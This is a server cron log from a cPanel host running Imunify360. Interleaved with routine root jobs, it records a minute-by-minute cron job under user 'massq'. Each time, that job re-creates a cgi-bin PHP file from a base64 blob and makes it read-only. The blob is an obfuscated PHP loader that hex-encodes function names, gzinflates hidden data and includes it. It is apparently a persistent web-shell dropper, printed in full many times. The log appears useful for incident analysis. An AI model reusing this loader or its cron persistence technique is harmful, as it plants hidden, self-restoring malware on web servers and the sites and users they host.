Sep  9 13:50:01 server CROND[27213]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:50:01 server CROND[27218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:50:01 server CROND[27212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:51:01 server CROND[28069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:51:01 server CROND[28071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:51:01 server CROND[28070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:52:01 server CROND[28454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:52:01 server CROND[28455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:52:01 server CROND[28456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:53:01 server CROND[28840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:53:01 server CROND[28841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:53:01 server CROND[28843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:54:01 server CROND[29327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:54:01 server CROND[29326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:54:01 server CROND[29328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:55:01 server CROND[29726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:55:01 server CROND[29731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:55:01 server CROND[29730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:55:01 server CROND[29733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:55:01 server CROND[29732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:55:01 server CROND[29729]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:55:01 server CROND[29728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:56:01 server CROND[30568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:56:01 server CROND[30569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:56:01 server CROND[30567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:57:01 server CROND[30965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:57:01 server CROND[30967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:57:01 server CROND[30969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:57:01 server CROND[30966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 13:58:01 server CROND[31352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:58:01 server CROND[31353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:58:01 server CROND[31354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:59:01 server CROND[31742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:59:01 server CROND[31743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:59:01 server CROND[31744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:00:01 server CROND[32230]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:00:01 server CROND[32231]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:00:01 server CROND[32236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:00:01 server CROND[32234]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 14:00:01 server CROND[32237]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:00:01 server CROND[32246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:00:01 server CROND[32250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:00:01 server CROND[32252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:00:01 server CROND[32251]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 14:00:01 server CROND[32249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:01:01 server CROND[681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:01:01 server CROND[682]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 14:01:01 server CROND[684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:01:01 server CROND[683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:01:01 server run-parts(/etc/cron.hourly)[682]: starting 0anacron
Sep  9 14:01:01 server run-parts(/etc/cron.hourly)[701]: finished 0anacron
